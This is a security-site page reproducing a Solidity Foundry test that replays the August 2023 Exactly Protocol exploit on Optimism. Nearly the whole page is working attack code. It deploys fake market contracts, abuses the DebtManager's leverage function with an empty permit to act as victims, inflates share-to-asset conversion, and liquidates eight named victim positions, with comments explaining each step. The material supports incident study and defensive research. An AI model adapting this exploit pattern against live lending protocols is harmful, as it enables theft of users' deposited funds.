Skip to content
THREATWIRE

Public reproduction file

src/test/2023-08/Exactly_exp.sol

Public reproduction file for dataset entry ExactlyProtocol.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-08/Exactly_exp.sol478 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$7M USD$
8// Attacker : https://optimistic.etherscan.io/address/0x3747dbbcb5c07786a4c59883e473a2e38f571af9
9// Attack Contract : https://optimistic.etherscan.io/address/0x6dd61c69415c8ecab3fefd80d079435ead1a5b4d
10// Vulnerable Contract : https://optimistic.etherscan.io/address/0x16748cb753a68329ca2117a7647aa590317ebf41
11// Attack Tx : https://optimistic.etherscan.io/tx/0x3d6367de5c191204b44b8a5cf975f257472087a9aadc59b5d744ffdef33a520e
13// @Info
14// Vulnerable Contract Code : https://optimistic.etherscan.io/address/0x16748cb753a68329ca2117a7647aa590317ebf41#code
16// @Analysis
17// Post-mortem : https://medium.com/@exactly_protocol/exactly-protocol-incident-post-mortem-b4293d97e3ed
18// Twitter Guy : https://twitter.com/BlockSecTeam/status/1692533280971936059
20interface IexaUSDC is IERC4626 {
21 function asset() external returns (address);
22 function auditor() external view returns (address);
23 function borrowAtMaturity(
24 uint256 maturity,
25 uint256 assets,
26 uint256 maxAssets,
27 address receiver,
28 address borrower
29 ) external returns (uint256 assetsOwed);
30 function repayAtMaturity(
31 uint256 maturity,
32 uint256 positionAssets,
33 uint256 maxAssets,
34 address borrower
35 ) external returns (uint256 actualRepayAssets);
36 function liquidate(
37 address borrower,
38 uint256 maxAssets,
39 address seizeMarket
40 ) external returns (uint256 repaidAssets);
43interface IAuditor {
44 struct MarketData {
45 uint128 adjustFactor;
46 uint8 decimals;
47 uint8 index;
48 bool isListed;
49 address priceFeed;
50 }
52 function accountLiquidity(
53 address account,
54 address marketToSimulate,
55 uint256 withdrawAmount
56 ) external view returns (uint256 sumCollateral, uint256 sumDebtPlusEffects);
57 function markets(
58 address market
59 ) external view returns (MarketData memory);
60 function assetPrice(
61 address priceFeed
62 ) external view returns (uint256);
65interface IDebtManager {
66 struct Permit {
67 address account;
68 uint256 deadline;
69 uint8 v;
70 bytes32 r;
71 bytes32 s;
72 }
74 function leverage(
75 address market,
76 uint256 deposit,
77 uint256 ratio,
78 uint256 borrowAssets,
79 Permit calldata marketPermit
80 ) external;
81 function crossDeleverage(
82 address marketIn,
83 address marketOut,
84 uint24 fee,
85 uint256 withdraw,
86 uint256 ratio,
87 uint160 sqrtPriceLimitX96
88 ) external;
91contract ContractTest is Test {
92 IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
93 IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);
94 IexaUSDC exaUSDC = IexaUSDC(0x81C9A7B55A4df39A9B7B5F781ec0e53539694873);
95 INonfungiblePositionManager UNIV3NFTManager =
96 INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
97 IDebtManager DebtManager = IDebtManager(0x675d410dcf6f343219AAe8d1DDE0BFAB46f52106);
98 IQuoter Quoter = IQuoter(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6);
99 IAuditor Auditor = IAuditor(0xaEb62e6F27BC103702E7BC879AE98bceA56f027E);
100 address USDCPirceFeed = 0x16a9FA2FDa030272Ce99B29CF780dFA30361E0f3;
101 FakeMarket fakeMarket;
102 FakeMarket[] fakeMarketList;
103 address[] victimList = [
104 0xF35e261393F9705e10B378C6785582B2a5A71094,
105 0x87bF260aef0Efd0AB046417ba290f69aE24C1642,
106 0x3cf3c6a96357e26DE5c6F8Be745DC453AAD59249,
107 0x551Cfb91aCd97572BA1C2B177EEB667c207CE759,
108 0x2f0D2701b620B639e44E1824446a0d63D7a05C31,
109 0x8789E0a45b270d7fd9aeD1a72682f6530a722c50,
110 0xd1aDb83CD6390c6bBd619Fdd79fC37F9f58f1a4C,
111 0x055a0495104AeA25551E7A58eBA88DC56709E871
112 ];
113 uint256[] maturityList = [
114 1_693_440_000,
115 1_693_440_000 + 4 weeks,
116 1_693_440_000 + 8 weeks,
117 1_693_440_000 + 12 weeks,
118 1_693_440_000 + 16 weeks,
119 1_693_440_000 + 20 weeks
120 ];
122 function setUp() public {
123 vm.createSelectFork("optimism", 108_375_557);
124 vm.label(address(WETH), "WETH");
125 vm.label(address(USDC), "USDC");
126 vm.label(address(exaUSDC), "exaUSDC");
127 vm.label(address(UNIV3NFTManager), "UNIV3NFTManager");
128 vm.label(address(DebtManager), "DebtManager");
129 vm.label(address(Auditor), "Auditor");
130 vm.label(address(USDCPirceFeed), "USDCPirceFeed");
131 vm.label(address(exaUSDC), "exaUSDC");
132 vm.label(address(Quoter), "Quoter");
133 }
135 // https://solidity-by-example.org/app/minimal-proxy/
136 function Clone(
137 address target
138 ) public returns (address result) {
139 bytes20 targetBytes = bytes20(target);
140 assembly {
141 let clone := mload(0x40)
142 mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
143 mstore(add(clone, 0x14), targetBytes)
144 mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
145 result := create(0, clone, 0x37)
146 }
147 }
149 function testExploit() external {
150 fakeMarket = new FakeMarket();
151 for (uint256 i; i < 16; ++i) {
152 address miniProxy = Clone(address(fakeMarket)); // create fake market
153 fakeMarketList.push(FakeMarket(miniProxy));
154 FakeMarket(miniProxy).init(
155 address(UNIV3NFTManager),
156 address(Auditor),
157 address(DebtManager),
158 address(exaUSDC),
159 address(Quoter),
160 address(USDC),
161 address(USDCPirceFeed),
162 1_000_000
163 );
164 }
166 USDC.approve(address(exaUSDC), type(uint256).max);
168 for (uint256 i; i < 8; ++i) {
169 fakeMarketList[i].setVictim(victimList[i]);
170 // @note https://github.com/exactly/protocol/blob/main/contracts/periphery/DebtManager.sol#L762-L792
171 DebtManager.leverage(
172 address(fakeMarketList[i]),
173 0,
174 0,
175 0,
176 IDebtManager.Permit({account: address(victimList[i]), deadline: 0, v: 0, r: bytes32(0), s: bytes32(0)})
177 ); // set global variable _msgSender to victimList[i] in contract DebtManager, then invoke fakeMarketList[i].deposit() to trigger the function crossDelevage()
178 }
180 // swap victim's USDC to fakeToken in function fakeMarkt.deposit(), victim's collateral value is close to the value of the loan and is on the verge of liquidation
182 // @note https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L783-L785
183 // victim CollateralAmount = convertToAssets(balanceOf[account]), attacker manipulating the ratio reduction in convertToAssets,
184 // causing the victim's collateral value to be less than the value of the loan
186 // *********************** convertToAssets Manipulation *********************** //
187 emit log_named_decimal_uint(
188 "befoe manipulation, 1 ether exaUSDC share convert to assets is : ",
189 exaUSDC.convertToAssets(1 ether),
190 USDC.decimals()
191 );
192 emit log_named_decimal_uint(
193 "befoe manipulation, victim's exaUSDC share convert to assets is : ",
194 exaUSDC.convertToAssets(exaUSDC.balanceOf(victimList[0])),
195 USDC.decimals()
196 );
198 uint256 depositAmount = USDC.balanceOf(address(this)) * 9 / 10;
199 uint256 share = exaUSDC.deposit(depositAmount, address(this)); // deposit USDC to exaUSDC contract
201 for (uint256 i; i < 6; ++i) {
202 (uint256 sumCollateral, uint256 sumDebtPlusEffects) =
203 Auditor.accountLiquidity(address(victimList[0]), address(0), 0);
204 // In the attack transaction, only the top victim is checked to see if they meet the liquidation conditions.
205 // By removing this check, more users can be made eligible for liquidation.
206 // if (sumCollateral >= sumDebtPlusEffects) {
207 // @note https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L917-L942
208 // the backupEarnings decrease
209 // @note https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L930-L932
210 exaUSDC.borrowAtMaturity(
211 maturityList[i], depositAmount / 2, type(uint256).max, address(this), address(this)
212 );
213 exaUSDC.repayAtMaturity(maturityList[i], type(uint256).max, type(uint256).max, address(this));
214 // } else {
215 // break;
216 // }
217 }
219 exaUSDC.redeem(share, address(this), address(this)); // withdraw all exaUSDC share
221 emit log_named_decimal_uint(
222 "after manipulation, 1 ether exaUSDC share convert to assets is : ",
223 exaUSDC.convertToAssets(1 ether),
224 USDC.decimals()
225 );
226 emit log_named_decimal_uint(
227 "after manipulation, victim's exaUSDC share convert to assets is : ",
228 exaUSDC.convertToAssets(exaUSDC.balanceOf(victimList[0])),
229 USDC.decimals()
230 );
232 // *********************** liquidate *********************** //
233 for (uint256 i; i < 8; ++i) {
234 try exaUSDC.liquidate(victimList[i], type(uint256).max, address(exaUSDC)) {}
235 catch {
236 continue;
237 } // liquidate victim's position
238 fakeMarketList[i + 8].setVictim(victimList[i]);
239 try DebtManager.leverage( // Manipulate the victim's position further after liquidation
240 address(fakeMarketList[i + 8]),
241 0,
242 0,
243 0,
244 IDebtManager.Permit({account: address(victimList[i]), deadline: 0, v: 0, r: bytes32(0), s: bytes32(0)})
245 ) {} catch {
246 continue;
247 } // set global _msgSender to victimList[i] in contract DebtManager, then invoke fakeMarketList[i].deposit() to trigger the function crossDelevage()
248 }
250 emit log_named_decimal_uint(
251 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
252 );
253 }
256contract FakeMarket is Nonces {
257 using FixedPointMathLib for int256;
258 using FixedPointMathLib for uint256;
259 using FixedPointMathLib for uint128;
261 INonfungiblePositionManager UNIV3NFTManager =
262 INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
263 IAuditor Auditor = IAuditor(0xaEb62e6F27BC103702E7BC879AE98bceA56f027E);
264 IDebtManager DebtManager = IDebtManager(0x675d410dcf6f343219AAe8d1DDE0BFAB46f52106);
265 IexaUSDC exaUSDC = IexaUSDC(0x81C9A7B55A4df39A9B7B5F781ec0e53539694873);
266 IQuoter Quoter = IQuoter(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6);
267 IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
268 address USDCPirceFeed = 0x16a9FA2FDa030272Ce99B29CF780dFA30361E0f3;
269 address victim;
270 uint256 baseUnit = 1_000_000;
271 uint256 fakeTokenAmount;
272 address public asset;
273 address Owner;
275 function init(address a, address b, address c, address d, address e, address f, address g, uint256 base) external {
276 UNIV3NFTManager = INonfungiblePositionManager(a);
277 Auditor = IAuditor(b);
278 DebtManager = IDebtManager(c);
279 exaUSDC = IexaUSDC(d);
280 Quoter = IQuoter(e);
281 USDC = IERC20(f);
282 USDCPirceFeed = g;
283 asset = address(this);
284 baseUnit = base;
285 balanceOf[address(this)] += 1_000_000_000_000 ether;
286 Owner = msg.sender;
287 if (address(this) < address(USDC)) {
288 UNIV3NFTManager.createAndInitializePoolIfNecessary(
289 address(this), address(USDC), 500, 79_228_162_514_264_337_593_543_950_336
290 ); // create faketoken-USDC Uni-V3 pool
291 } else {
292 UNIV3NFTManager.createAndInitializePoolIfNecessary(
293 address(USDC), address(this), 500, 79_228_162_514_264_337_593_543_950_336
294 ); // create faketoken-USDC Uni-V3 pool
295 }
296 }
298 function setVictim(
299 address v
300 ) external {
301 // setV
302 victim = v;
303 }
305 // ******************** Market ******************** //
307 function deposit(uint256 assets, address receiver) external returns (uint256 shares) {
308 // @note https://github.com/exactly/protocol/blob/main/contracts/Auditor.sol#L107-L148
309 (uint256 sumCollateral, uint256 sumDebtPlusEffects) = Auditor.accountLiquidity(address(victim), address(0), 0);
310 uint256 availableCollateralValue = sumCollateral - sumDebtPlusEffects; // availableCollateralValue = sumCollateral - sumDebtPlusEffects
311 IAuditor.MarketData memory marketData = Auditor.markets(address(exaUSDC));
312 uint128 Factor = marketData.adjustFactor;
313 uint256 USDCPirce = Auditor.assetPrice(USDCPirceFeed);
315 uint256 availableCollateralAmount = (availableCollateralValue.divWadUp(Factor)).mulDivUp(baseUnit, USDCPirce); // availableCollateralAmount = (availableCollateralValue / Factor) * baseUnit / USDCPirce
316 availableCollateralAmount = availableCollateralAmount - 2; // availableCollateralAmount = availableCollateralAmount - 2
318 if (
319 exaUSDC.convertToAssets(exaUSDC.allowance(address(victim), address(DebtManager)))
320 < availableCollateralAmount
321 ) {
322 // if(exaUSDC.convertToAssets(exaUSDC.balanceOf(address(this))) < availableCollateralAmount)
323 availableCollateralAmount =
324 exaUSDC.convertToAssets(exaUSDC.allowance(address(victim), address(DebtManager))); // availableCollateralAmount = exaUSDC.convertToAssets(exaUSDC.Allowance(address(this), DebtManager))
325 }
326 if (exaUSDC.convertToAssets(exaUSDC.balanceOf(address(victim))) < availableCollateralAmount) {
327 // if(exaUSDC.convertToAssets(exaUSDC.balanceOf(address(this))) < availableCollateralAmount)
328 availableCollateralAmount = exaUSDC.convertToAssets(exaUSDC.balanceOf(address(this))); // availableCollateralAmount = exaUSDC.convertToAssets(exaUSDC.balanceOf(address(this)))
329 }
331 uint256 USDCAmountIn = availableCollateralAmount;
333 IERC20(address(this)).approve(address(DebtManager), type(uint256).max);
334 IERC20(address(this)).approve(address(UNIV3NFTManager), type(uint256).max);
335 address Token0 = address(this);
336 address Token1 = address(USDC);
337 uint256 amount0 = 1_000_000 ether;
338 uint256 amount1 = 0;
339 int24 lower = 0;
340 int24 upper = 10;
341 uint160 sqrtPriceLimitX96 = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341;
342 if (address(this) > address(USDC)) {
343 Token0 = address(USDC);
344 Token1 = address(this);
345 amount0 = 0;
346 amount1 = 1_000_000 ether;
347 lower = -10;
348 upper = 0;
349 sqrtPriceLimitX96 = 4_295_128_740;
350 }
351 (uint256 tokenId, uint128 liquidity,,) = UNIV3NFTManager.mint(
352 INonfungiblePositionManager.MintParams({ // add liquidity to faketoken-USDC Uni-V3 pool
353 token0: Token0,
354 token1: Token1,
355 fee: 500,
356 tickLower: lower,
357 tickUpper: upper,
358 amount0Desired: amount0,
359 amount1Desired: amount1,
360 amount0Min: 0,
361 amount1Min: 0,
362 recipient: address(this),
363 deadline: block.timestamp
364 })
365 );
367 fakeTokenAmount =
368 Quoter.quoteExactInputSingle(address(USDC), address(this), 500, USDCAmountIn, sqrtPriceLimitX96);
370 // @note now the _msgSender is victim, so attacker can manipulation the position of victim
371 DebtManager.crossDeleverage(address(exaUSDC), address(this), 500, 0, 0, sqrtPriceLimitX96); // swap USDC to fakeToken in Uni-V3 pool
373 UNIV3NFTManager.decreaseLiquidity(
374 INonfungiblePositionManager.DecreaseLiquidityParams({ // remove liquidity from faketoken-USDC Uni-V3 pool
375 tokenId: tokenId,
376 liquidity: liquidity,
377 amount0Min: 0,
378 amount1Min: 0,
379 deadline: block.timestamp
380 })
381 );
383 UNIV3NFTManager.collect(
384 INonfungiblePositionManager.CollectParams({ // collect fakeToken/USDC from faketoken-USDC Uni-V3 pool
385 tokenId: tokenId,
386 recipient: address(Owner),
387 amount0Max: 340_282_366_920_938_463_463_374_607_431_768_211_455,
388 amount1Max: 340_282_366_920_938_463_463_374_607_431_768_211_455
389 })
390 );
391 }
393 struct Account {
394 uint256 fixedDeposits;
395 uint256 fixedBorrows;
396 uint256 floatingBorrowShares;
397 }
399 function previewRefund(
400 uint256 shares
401 ) public view returns (uint256) {
402 return fakeTokenAmount;
403 }
405 function accounts(
406 address owner
407 ) external view returns (Account memory) {
408 return Account(0, 0, 0);
409 }
411 function repay(uint256 assets, address borrower) external returns (uint256 actualRepay, uint256 borrowShares) {}
413 // ******************** ERC4626 ******************** //
415 function maxWithdraw(
416 address owner
417 ) external view returns (uint256) {
418 return 0;
419 }
421 // ******************** ERC20Permit ******************** //
422 uint256 public totalSupply;
423 mapping(address => uint256) public balanceOf;
424 mapping(address => mapping(address => uint256)) public allowance;
425 string public name = "fake market";
426 string public symbol = "fm";
427 uint8 public decimals = 18;
429 function transfer(address recipient, uint256 amount) external returns (bool) {
430 balanceOf[msg.sender] -= amount;
431 balanceOf[recipient] += amount;
432 return true;
433 }
435 function approve(address spender, uint256 amount) external returns (bool) {
436 allowance[msg.sender][spender] = amount;
437 return true;
438 }
440 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
441 allowance[sender][msg.sender] -= amount;
442 balanceOf[sender] -= amount;
443 balanceOf[recipient] += amount;
444 return true;
445 }
447 function mint(
448 uint256 amount
449 ) external {
450 balanceOf[msg.sender] += amount;
451 totalSupply += amount;
452 }
454 function burn(
455 uint256 amount
456 ) external {
457 balanceOf[msg.sender] -= amount;
458 totalSupply -= amount;
459 }
461 function permit(
462 address owner,
463 address spender,
464 uint256 value,
465 uint256 deadline,
466 uint8 v,
467 bytes32 r,
468 bytes32 s
469 ) public {
470 _useNonce(owner);
471 }
473 function nonces(
474 address owner
475 ) public view virtual override(Nonces) returns (uint256) {
476 return super.nonces(owner);
477 }

Analysis

Dataset entry

Public Foundry test for “ExactlyProtocol” (2023-08-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x3747dbbcb5c07786a4c59883e473a2e38f571af9

  • Attack Contract

    0x6dd61c69415c8ecab3fefd80d079435ead1a5b4d

  • Vulnerable Contract

    0x16748cb753a68329ca2117a7647aa590317ebf41

  • Attack Tx

    0x3d6367de5c191204b44b8a5cf975f257472087a9aadc59b5d744ffdef33a520e

File record

Name
ExactlyProtocol
Path
src/test/2023-08/Exactly_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
9eb5a4d13253aaa35fb0dbfe13b687964efe1b69
Language
Solidity
Size
479 lines
Date
2023-08-18
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-08/Exactly_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9eb5a4d13253aaa35fb0dbfe13b687964efe1b69, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.